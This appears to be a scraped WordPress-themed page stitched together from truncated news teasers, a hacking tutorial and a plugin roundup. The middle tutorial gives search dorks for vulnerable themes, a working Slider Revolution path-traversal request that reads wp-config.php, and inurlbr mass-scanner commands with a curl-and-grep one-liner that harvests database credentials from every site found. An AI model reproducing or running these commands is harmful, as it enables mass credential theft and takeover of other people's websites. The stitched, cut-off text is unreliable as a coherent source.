WordPress enables Free HTTPS Encryption for all Blogs with Custom Domain

Do you own a custom domain or a blog under the wordpress.com domain name?
If yes, then there is good news for you.
WordPress is bringing free HTTPS to every blog and website that belongs to them in an effort to make the Web more secure.
WordPress – free, open source and the most popular a content management system (CMS) system on the Web – is being used by over a quarter of all websites across

WordPress 4.2.3 Security Update Released, Patches Critical Vulnerability

WordPress has just released the new version of its content management system (CMS), WordPress version 4.2.3, to fix a critical security vulnerability that could have been exploited by hackers to take over websites, affecting the security of its Millions of sites.



WordPress version 4.2.3 resolves a Cross-Site Scripting (XSS) flaw that could allow any user with the Contributor or Author role

WordPress Analytics Plugin Leaves 1.3 Million Sites Vulnerable to Hackers

A critical vulnerability has been discovered in one of the most popular plugins of the the WordPress content management platform that puts more than one Million websites at risks of being completely hijacked by the attackers.



The vulnerability actually resides in most versions of a WordPress plugin called Wettable Powder Slimstat (WP-Slimstat). While there are more than 70 million websites

GHOST glibc Vulnerability Affects WordPress and PHP applications

After the disclosure of extremely critical GHOST vulnerability in the GNU C library (glibc) — a widely used component of most Linux distributions, security researchers have discovered that PHP applications, including the WordPress Content Management System (CMS), could also be affected by the bug.
"GHOST" is a serious vulnerability (CVE-2015-0235), announced this week by the researchers of

Exploring Wordpress Theme Arbitrary File Download Vulnerability Exploits Available

Exploring Wordpress Theme Arbitrary File Download Vulnerability + SCANNER INURLBR / EXPLOIT INURL A.F.D Verification

Wordpress Theme U-Design Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/u-design/"
ACCESS: http://1337day.com/exploit/23143

-------------------------------------------------------------------------------------------

Wordpress Theme Terra Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/terra/"
ACCESS: http://1337day.com/exploit/23142

-------------------------------------------------------------------------------------------

Wordpress Theme Pindol Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/pindol/"
ACCESS: http://1337day.com/exploit/23144

-------------------------------------------------------------------------------------------

All themes above, are failing in the same revslider plugin.

POC:
http://[target]/[path]/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

Exploit developed can check about 20 themes, and allows check standard as follows.

POC -> /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Which is the same as 0day mentioned above.

[Exploit ACCESS]
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html
Please download the exploit and put the name of exploit.php

Now let's use the inurlbr scanner as a mass explorer
[SCANNER INURLBR]
https://github.com/googleinurl/SCANNER-INURLBR

Command use INURLBR:
Ex: php inurlbr.php --dork 'you dork' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/u-design/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/terra/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/pindol/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

Brief introduction --comand

--comand-vul Every vulnerable URL found will execute this command parameters.
     Example: --comand-vul {command}
     Usage:   --comand-vul 'nmap sV -p 22,80,21 _TARGET_'
              --comand-vul './exploit.sh _TARGET_ output.txt'

 --comand-all Use this commmand to specify a single command to EVERY URL found.
     Example: --comand-all {command}
     Usage:   --comand-all 'nmap sV -p 22,80,21 _TARGET_'
              --comand-all './exploit.sh _TARGET_ output.txt'

    Observation:
    _TARGET_ will be replaced by the URL/target found, although if the user
    doesn't input the get, only the domain will be executed.
   _TARGETFULL_ will be replaced by the original URL / target found.

-------------------------------------------------------------------------------------------

INURLBR ADVANCED CONTROL

php inurlbr.php --dork 'YOU DORK revslider' -q 1,6 -s wordpress2.txt --exploit-get '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' --comand-all 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"'

[TUTORIAL] - Wordpress A.F.D Verification/ INURL - BRASIL + SCANNER INURLBR

[TUTORIAL] - Hacking Panel Wordpress - Slider Revolution

[TUTORIAL] - Getting access to the Wordpress panel

Source: Inurl

Fantastic Plugins to enhance the functionality of WordPress

Plugins could be of immense help for websites on WordPress and handy plugins could prove to be helpful in enhancing its capabilities with great functionality without much strain though one would wonder which of these plugins would be useful for their site. It is essential to understand its need for specific site and add them depending on their requirements with the WordPress installation, most of which tend to become very useful on any WP site. Viewers could check on these plugins and opt for the ones most essential in running their website according to their requirements. At times, some of the functions in WordPress are not recommended for usage and the Log Deprecated Notices plugin provides a list of functions in the plugin or theme with suitable alternatives for usage.

Theme Check

Theme Check is one of the essential and most important plugins for WordPress developers which measures against the prevailing WordPress coding standards as well as its practices. While creating the theme, it helps in verifying the code making sure that it meets the review standard of the WordPress themes directory and creates a fresh menu item under the setting of Appearance. Its capabilities are that one can run over 8000 tests on any installed available themes resulting in a list of recommendations, errors and information messages. If the user has the inclination of submitting the theme to WordPress.org repository, the need to eliminate the errors is essential since Theme Check which is active during submission does not proceed any further, even if a single error is detected.

Besides this, Theme Check’s recommendations can also help in providing ideas for the theme with the maximum advantage on its functionality such as post formats and thumbnails and by eliminating all the recommendation the user can benefit with the latest features to turn off the same. If showcasing themes to clients or for colleague’s feedback and testing, the Theme Demo Bar enables a single WordPress installation, presenting more than one theme where these plugins are common on theme market places and theme shops. These are much easier than setting different environment for various themes though it does not have the flexibility of different content for different theme.

Beta Tester and Regenerate Thumbnails

Updating to WordPress Beta, Nightly version or Release Candidate (RC) with Beta Tester enables to test the compatibility of the theme or plugins, with the latest upcoming versions while Regenerate Thumbnails can be useful in setting a new size of image thumbnail which enable the user to regenerate the thumbnail images in the library according to the size of one’s choice with a single click though the process may take its time depending on the number of images especially from a live site.

Debogger

Debogger helps in dealing with debug messages, warnings and notices in WP, helping in showing the debug notices at the bottom of the page with the query counts, page load time and peak memory usage making it easy for performance tuning. It also checks the markup for W3C validity and for its function, one need to run on the server which is accessible by the W3C validation service. Another alternative is the Debug Bar that adds a Debug menu to the admin bar for easy access to cache, queries as well as other useful information. The two useful plugins which are alongside each other are the Debug Bar and Debug Bar Extender where the former give information about memory, request etc. while the later gives a better insight on what is prevailing under the hood, inclusive of cache hits or misses, clear profiler with back trace of all functions as well as SQL queries.

User Switching

One can switch between registered users without the need of repeating the usernames and passwords with the User Switching which, once activated will give a new menu named Switch off in the admin bar and if a plugin to create new role with a set of new capabilities is needed, this plugin would be of great help.

Disable Core Updates

Users often working with plugins and themes and probably testing them in various versions of WP of different set of plugins as well as setup configurations come across new versions available which can cause interruption in their working system. The Disable Core Updates plugin thus helps in turning them off.

Backup to Dropbox

Back up of the content is very vital and offsite backups are essential when one would not have the time to download a backup and reload the same to a cloud storage service. WordPress Backup to Dropbox helps in saving the same to the dropbox account instead of downloading a backup using the OAuth, keeping the details safe with its simple and sleek UI, customizable backup settings and cross browser compatibility.

Better WordPress Security

This plugin provides various WP security features and techniques which are essential for securing a WP site combining them into an easy to use plugin by working in obscuring sensitive information, increasing security of passwords, blocking unauthorized users and detecting attempts in finding vulnerabilities. Moreover it also makes regular backups of the site enabling the user to be online quickly should they face any kind of an attack Mono-live is a great eye opener on some fantastic latest technology information which provides immense insight to the user.